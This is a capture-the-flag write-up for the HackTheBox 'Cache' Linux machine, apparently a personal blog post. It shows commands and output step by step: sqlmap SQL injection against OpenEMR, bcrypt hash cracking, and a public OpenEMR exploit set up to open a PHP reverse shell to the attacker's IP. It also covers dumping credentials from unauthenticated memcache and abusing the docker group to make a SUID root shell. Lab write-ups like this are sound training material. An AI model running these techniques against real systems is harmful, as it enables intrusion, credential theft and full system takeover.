Cache HackTheBox Writeup

13 minute read

cache

Cache is a medium rated Linux box by ASHacker. Firstly on port 80, the author’s page gave information leading to a hostname which was running old version of OpenEMR which was vulnerable to multiple things. Username and password was extracted using SQLMAP and a reverse shell was obtained as www-data after running publicly available exploit. In the box, memcache was running on port 11211 which had password for the local user luffy. Luffy was on docker group which was exploited to get a root shell on the box.

Port Scan

[email protected]:~/Documents/htb/boxes/cache$ nmap -sC -sV -oA nmap/cache 10.10.10.188
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 a9:2d:b2:a0:c4:57:e7:7c:35:2d:45:4d:db:80:8c:f1 (RSA)
|   256 bc:e4:16:3d:2a:59:a1:3a:6a:09:28:dd:36:10:38:08 (ECDSA)
|_  256 57:d5:47:ee:07:ca:3a:c0:fd:9b:a8:7f:6b:4c:9d:7c (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Cache
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Flags used in nmap

  • -sC for default scripts
  • -sV for enumerating version
  • -oA for saving output in folder nmap with filename cache in all format

We only have two ports open. SSH is running on port 22 and HTTP service on port 80. As we SSH does not have that many vulnerabilities to look into, let’s check out the webserver running on port 80.

Port 80

1

Directory busting to find out files and directories

[email protected]:~/Documents/htb/boxes/cache$ gobuster dir -u http://10.10.10.188 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,txt
/index.html (Status: 200)
/news.html (Status: 200)
/login.html (Status: 200)
/contactus.html (Status: 200)
/author.html (Status: 200)
/net.html (Status: 200)
/javascript (Status: 301)
/jquery (Status: 301)
/server-status (Status: 403)

Flags used in Gobuster

  • dir for directory bruteforcing mode
  • -u to specify url
  • -w to specify the wordlist
  • -x to specify file extensions

Checking the /login.html

2

At this point we did not have any creds. So, I tried few default creds like admin:admin, admin:password.

When I tried to login with admin:admin, it instantly said Password didnot match as if it did not even request the server. So I thought what if the login is handled by the javascript in our browser. 3

Looking at the source

4

Content on /jquery/functionality.js

$(function(){
    
    var error_correctPassword = false;
    var error_username = false;
    
    function checkCorrectPassword(){
        var Password = $("#password").val();
        if(Password != '[email protected]_fun'){
            alert("Password didn't Match");
            error_correctPassword = true;
        }
    }
    function checkCorrectUsername(){
        var Username = $("#username").val();
        if(Username != "ash"){
            alert("Username didn't Match");
            error_username = true;
        }
    }
    $("#loginform").submit(function(event) {
        /* Act on the event */
        error_correctPassword = false;
         checkCorrectPassword();
         error_username = false;
         checkCorrectUsername();


        if(error_correctPassword == false && error_username ==false){
            return true;
        }
        else{
            return false;
        }
    });
    
});

We get the login credential for user ash.

Logging in as ash

5 Looking at the page, it seems like a dead end as the page is under construction. So lets head back to home page and enumerate other pages.

Checking /author.html

6

This page talks about the author Ash who is the creater of this project cache and we also get a hostname cache.htb which we will add to our /etc/hosts file and also it says that Ash also did a project called HMS(Hospital Management System).

Adding hostname to host file

10.10.10.188    cache.htb htb

Checking cache.htb

7

But we get the exact same page as before.

At this point I was stuck. As I had creds for ash, I tried to login as ash using SSH.

[email protected]:~/Documents/htb/boxes/cache$ ssh [email protected]
[email protected]'s password: 
Permission denied, please try again.

We did not log in, but it was worth a try because credentials resue is a very common thing.

Revisiting /author.html

The author did talk about another project called HMS. So I thought, he created a project called cache and the website for cache is hosted under name cache.htb, so if he is to create another project called HMS and has to host this project, it is very likely that hostname will be hms.htb. At this point I was out of ideas and it seemed like it was worth a try. So I added this entry on my host file.

10.10.10.188    cache.htb htb hms.htb

Checking hms.htb

8

And it does exists. Nice.

Looking at the page, it is running OpenEMR which is a medical practice management software which also supports Electronic Medical Records but more important thing is the copyright at the bottom of the page which says 2018. It means that this is probably the old version of OpenEMR.
I looked around and found a article, which explains that there a SQL injection on parameter eid on /portal/add_edit_event_user.php, user information is stored in table users_secure, and also gives a nice litle script for code execution. So we have everything we need. Now we have to extract the credentials from the database using sqlmap and using that credentials we can run the exploit to get the shell on the box.

Reverse Shell On the box

Checking /portal/add_edit_event_user.php

9

Sending value of eid=1' gives us an error. This is a very good sign. Now we can enumerate the whole database manually or can use automated tools like sqlmap to do the work for us.

Using sqlmap to dump the database content

Interepting the request with Burp

10

Saving the request to a file

[email protected]:~/Documents/htb/boxes/cache$ cat cache.req 
GET /portal/add_edit_event_user.php?eid=1 HTTP/1.1
Host: hms.htb
User-Agent: ******************************************************************
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: OpenEMR=sffvpek75jaiqrfde3642t5v5r; PHPSESSID=au170v2ra7cra8gti7c7bju9qa
Upgrade-Insecure-Requests: 1

Running sqlmap

[email protected]:~/Documents/htb/boxes/cache$ /opt/sqlmap-dev/sqlmap.py -r cache.req --batch --risk 3 --level 5                                                           [4/4]
        ___              
       __H__                               
 ___ ___[)]_____ ___ ___  {1.4.7.12#dev}
|_ -| . ["]     | .'| . |                                                                                                                                                       |___|_  [(]_|_|_|__,|  _|                                                                                                                                                       
      |_|V...       |_|   http://sqlmap.org
                                            
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and
 federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
....
GET parameter 'eid' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 1584 HTTP(s) requests:
---
Parameter: eid (GET)
    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: eid=1 AND GTID_SUBSET(CONCAT(0x71706b7171,(SELECT (ELT(9379=9379,1))),0x717a767171),9379)

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: eid=1 AND (SELECT 2045 FROM (SELECT(SLEEP(5)))ObBH)

    Type: UNION query
    Title: Generic UNION query (NULL) - 4 columns
    Payload: eid=1 UNION ALL SELECT NULL,NULL,CONCAT(0x71706b7171,0x745a74624265774553436974646d746b576e59487267686668627070744776776847534277524444,0x717a767171),NULL-- -
---
[16:56:38] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.29
back-end DBMS: MySQL >= 5.6

Flags Used

  • -r to specify a request file
  • –batch to tell sqlmap to answer all the questions for us so that it doesnot wait for us to give the answer
  • –risk 3 and –level 5 are the highest value which tells sqlmap to make as much requests it wants

Sqlmap says the website is vulnerable. So lets dump contents from the database.

Dumping all the contents

Listing databases

[email protected]:~/Documents/htb/boxes/cache$ /opt/sqlmap-dev/sqlmap.py -r cache.req --dbs
[17:03:22] [INFO] fetching database names
[17:03:22] [INFO] retrieved: 'information_schema'
[17:03:23] [INFO] retrieved: 'openemr'
available databases [2]:                                                                                                                                                       
[*] information_schema
[*] openemr

Listing tables inside database openemr

[email protected]:~/Documents/htb/boxes/cache$ /opt/sqlmap-dev/sqlmap.py -r cache.req -D openemr --tables
Database: openemr                                                                                                                                                               
[234 tables]                                                                                                                                                                    
+---------------------------------------+   
| array                                 |
| groups                                |   
| sequences                             |                                                                                                                                       
| version                               |
| addresses                             |
| amc_misc_data                         |
| amendments                            |
| amendments_history                    |
| ar_activity                           |  
| ar_session                            |   
| audit_details                         |                                                                                                                                       
| audit_master                          |                                                                                                                                       
| automatic_notification                |   
| background_services                   |
| batchcom                              |   
....
....
| therapy_groups_counselors             |
| therapy_groups_participant_attendance |   
| therapy_groups_participants           |                                               
| transactions                          |                                               
| user_settings                         |                                               
| users                                 |                                                                                                                                       
| users_facility                        |                                               
| users_secure                          |
| valueset                              |
| voids                                 |
| x12_partners                          |                                                                                                                                       
+---------------------------------------+  

There are a lot of tables here. But the blog post from earlier specified that the juicy information are stored in table users_secure.

Contents of users_secure

[email protected]:~/Documents/htb/boxes/cache$ /opt/sqlmap-dev/sqlmap.py -r cache.req -D openemr -T users_secure --dump
Database: openemr        
Table: users_secure                        
[1 entry]                                   
+------+--------------------------------+---------------+--------------------------------------------------------------+---------------------+---------------+---------------+-------------------+-------------------+                                                                                                                                          
| id   | salt                           | username      | password                                                     | last_update         | salt_history2 | salt_history1 | password_history2 | password_history1 |
+------+--------------------------------+---------------+--------------------------------------------------------------+---------------------+---------------+---------------+-------------------+-------------------+                                                  
| 1    | $2a$05$l2sTLIG6GTBeyBf7TAKL6A$ | openemr_admin | $2a$05$l2sTLIG6GTBeyBf7TAKL6.ttEwJDmxs9bI6LXqlfCpEcY6VF6P0B. | 2019-11-21 06:38:40 | NULL          | NULL          | NULL              | NULL              |                                                  
+------+--------------------------------+---------------+--------------------------------------------------------------+---------------------+---------------+---------------+-------------------+-------------------+     

Flags used

  • -D to specify the database name
  • -T to specify the table name
  • –dump to get the content of that table

And we got a username and a password hash.

openemr_admin:$2a$05$l2sTLIG6GTBeyBf7TAKL6.ttEwJDmxs9bI6LXqlfCpEcY6VF6P0B.

So let’s try and crack this hash.

Cracking hash using hashcat

Checking on the hashcat page, I found the mode for this bcrypt hash in hashcat is 3200.

[email protected]:~/Documents/htb/boxes/cache$ hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt                                                                        
                                                                                        
$2a$05$l2sTLIG6GTBeyBf7TAKL6.ttEwJDmxs9bI6LXqlfCpEcY6VF6P0B.:xxxxxx  

And the hash cracked successfully.

Flags used

  • -m to specify mode for the hash

Now that we have a valid credentials, let’s run the exploit from the blog.

Downloading exploit to local box

[email protected]:~/Documents/htb/boxes/cache$ wget https://raw.githubusercontent.com/musyoka101/OpenEMR-5.0.1-Remote-Code-execution-Vulnerability-Exploit/master/openemr_exploit.py

Modifying the payload with our information

...
username = "openemr_admin" # change this to the the appropriate username
password = "xxxxxx" # change this to the the appropriate password
payload = {'site': 'default', 'mode' : 'save', 'docid' : 'shell.php', 'content' : """<?php

set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.14.15';  # CHANGE THIS
$port = 9001;       # CHANGE THIS
...
url = "http://hms.htb/interface/main/main_screen.php?auth=login&site=default"

And change all the information accordingly.

Setup a netcat listener on port 9001

[email protected]:~/Documents/htb/boxes/cache$ nc -nvlp 9001
Listening on [0.0.0.0] (family 2, port 9001)
Listening on 0.0.0.0 9001

Running the exploit

[email protected]:~/Documents/htb/boxes/cache$ python openemr_exploit.py 
HELP MENU
[1] Change the listening IP Address and Create a Listener: Default port 9001
[2] Change the Username and Password to the approrpriate one
[3] Change the URL to the correct one
[4] Execute the script and wait for a shell

[+] Verifying and Performing authentication with credentials provided please be patient
[+] Uploading a reverse shell it will take a minute
[+] You should be getting a shell soon
[+] Success!

It ran successfully and if we checked the netcat listening on port 9001,we got a connection back.

[email protected]:~/Documents/htb/boxes/cache$ nc -nvlp 9001
Listening on [0.0.0.0] (family 2, port 9001)
Listening on 0.0.0.0 9001
Connection received on 10.10.10.188 43024
Linux cache 4.15.0-109-generic #110-Ubuntu SMP Tue Jun 23 02:39:32 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
 11:38:52 up 46 min,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             [email protected]   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ 

Getting a proper Shell

$ which python3
/usr/bin/python3
$ python3 -c "import pty;pty.spawn('/bin/bash')"
[email protected]:/$

Hit CTRL + z to background this process and on local box run

[email protected]:~/Documents/htb/boxes/cache$ stty raw -echo

Then type fg and hit enter twice to go to the earlier backgrounded process. Then export TERM variable as xterm.

[email protected]:/$ export TERM=xterm

Now we get a proper shell with autocompletion and we can clear the screen with clear or CTRL + l.

Privilege Escalation

Checking for listening tcp port

[email protected]:/home/ash$ ss -lt
State    Recv-Q    Send-Q        Local Address:Port         Peer Address:Port   
LISTEN   0         80                127.0.0.1:mysql             0.0.0.0:*      
LISTEN   0         128               127.0.0.1:11211             0.0.0.0:*      
LISTEN   0         128           127.0.0.53%lo:domain            0.0.0.0:*      
LISTEN   0         128                 0.0.0.0:ssh               0.0.0.0:*      
LISTEN   0         128                       *:http                    *:*      
LISTEN   0         128                    [::]:ssh                  [::]:* 

Here I found extra ports which are only listening on local interface 127.0.0.1, means they can not be accessed from outside. One is MYSQL running on port 3306 which we already exploited while getting a reverse shell and other service which is listening on port 11211.
The service that usually runs on the port 11211 is memcache. Memcache is object caching system which stores values in key:value pairs and the interesting thing about memcache is that it doesnot implement any authentication. So we can use telnet to connect and look all the key value pairs on the memcache.

Extracting key:value pairs from memcache

[email protected]:/dev/shm$ telnet 127.0.0.1 11211
Trying 127.0.0.1...     
Connected to 127.0.0.1.     
Escape character is '^]'.

stats items                                 
STAT items:1:number 5                       
STAT items:1:number_hot 0                   
STAT items:1:number_warm 0                  
STAT items:1:number_cold 5                  
STAT items:1:age_hot 0                      
STAT items:1:age_warm 0                     
..
STAT items:1:direct_reclaims 0
STAT items:1:hits_to_hot 0
STAT items:1:hits_to_warm 0
STAT items:1:hits_to_cold 2
STAT items:1:hits_to_temp 0

stats cachedump 1 10                        
ITEM link [21 b; 0 s]                       
ITEM user [5 b; 0 s]                        
ITEM passwd [9 b; 0 s]                      
ITEM file [7 b; 0 s]                        
ITEM account [9 b; 0 s]                     
END

get user                            
VALUE user 0 5                     
luffy                          
END

get passwd                      
VALUE passwd 0 9                
0n3_p1ec3                    
END 

Here we first connected to memcache running on the port 11211 using telnet. Then we listed all the items using stats items and it looked like there is only a single item with id 1. So using stats cachedump 1 10, we tell the memcache to list 10 key value pairs on the 1st item. And then we get values for the key user and passwd using get user and get passwd respectively.

luffy:0n3_p1ec3

Users on the box with shell

[email protected]:/dev/shm$ cat /etc/passwd | grep -i bash
root:x:0:0:root:/root:/bin/bash
ash:x:1000:1000:ash:/home/ash:/bin/bash
luffy:x:1001:1001:,,,:/home/luffy:/bin/bash

As luffy was a user on the box, lets try and login to luffy’s account.

[email protected]:/dev/shm$ su luffy
Password: 
[email protected]:/dev/shm$ 

And we are on the box as user luffy.

Privilege Escalation to root

Listing the groups for current user

[email protected]:~$ groups
luffy docker

As our user luffy is on docker group, we can create a new docker container and mount the root filesystem on that docker container.

Listing docker images on the box

[email protected]:~$ docker image ls -a
REPOSITORY          TAG                 IMAGE ID            CREATED             SIZE
ubuntu              latest              2ca708c1c9cc        12 months ago       64.2MB
[email protected]:~$ 

Creating a new container with the image id

[email protected]:~$ docker run -v /:/mnt  -it 2ca708c1c9cc bash
[email protected]:/# 

Here we created a new container from the ubuntu image and mounted the root filesystem / to container’s /mnt and with flag -it, we opened a interactive session running bash inside the container.

Listing the file contents in /mnt

[email protected]:/# ls -la /mnt
total 1645668
drwxr-xr-x  23 root root       4096 Jul  9 09:26 .
drwxr-xr-x   1 root root       4096 Sep 30 13:12 ..
drwxr-xr-x   2 root root       4096 Jul  9 09:24 bin
drwxr-xr-x   3 root root       4096 Sep 16 09:30 boot
drwxr-xr-x  18 root root       3900 Sep 30 12:15 dev
drwxr-xr-x  99 root root       4096 Jul  9 09:26 etc
drwxr-xr-x   4 root root       4096 Sep 17  2019 home
lrwxrwxrwx   1 root root         34 Jul  9 09:26 initrd.img -> boot/initrd.img-4.15.0-109-generic
lrwxrwxrwx   1 root root         33 Jul  9 09:26 initrd.img.old -> boot/initrd.img-4.15.0-99-generic
drwxr-xr-x  22 root root       4096 Sep 18  2019 lib
drwxr-xr-x   2 root root       4096 Jul  9 09:26 lib64
drwx------   2 root root      16384 Sep 17  2019 lost+found
drwxr-xr-x   2 root root       4096 Feb 14  2019 media
drwxr-xr-x   2 root root       4096 Feb 14  2019 mnt
drwxr-xr-x   3 root root       4096 Sep 18  2019 opt
dr-xr-xr-x 192 root root          0 Sep 30 12:15 proc
drwx------   6 root root       4096 Sep 16 11:06 root
drwxr-xr-x  31 root root       1040 Sep 30 12:17 run
drwxr-xr-x   2 root root      12288 Jul  9 09:24 sbin
drwxr-xr-x   4 root root       4096 Sep 17  2019 snap
drwxr-xr-x   2 root root       4096 Feb 14  2019 srv
-rw-------   1 root root 1685061632 Sep 17  2019 swap.img
dr-xr-xr-x  13 root root          0 Sep 30 12:35 sys
drwxrwxrwt  12 root root       4096 Sep 30 13:12 tmp
drwxr-xr-x  10 root root       4096 Feb 14  2019 usr
drwxr-xr-x  14 root root       4096 Sep 17  2019 var
lrwxrwxrwx   1 root root         31 Jul  9 09:26 vmlinuz -> boot/vmlinuz-4.15.0-109-generic
lrwxrwxrwx   1 root root         30 Jul  9 09:26 vmlinuz.old -> boot/vmlinuz-4.15.0-99-generic

We can see that our whole root filesystem is mounted here.

Reading user.txt and root.txt

[email protected]:/mnt# cat root/root.txt && cat home/ash/user.txt 
2bc0************************ea57
d52e************************8f1e

Getting a root shell

[email protected]:/mnt# cp bin/bash tmp/bash && chmod 4777 tmp/bash

Here we copied usual bin/bash binary to tmp/bash and we changed the file permission so that it has SUID bit set and can be executed by anyone.

So lets exit the container and execute the binary.

[email protected]:/mnt# exit
exit

[email protected]:~$ ls -la /tmp/bash
-rwsrwxrwx 1 root root 1113504 Sep 30 12:42 /tmp/bash

[email protected]:~$ /tmp/bash -p

bash-4.4# id
uid=1001(luffy) gid=1001(luffy) euid=0(root) groups=1001(luffy),999(docker)
bash-4.4# 

As we can see the there is a binary called bash on /tmp with SUID bit set and can be executed by anyone and upon execution we get a bash shell as root.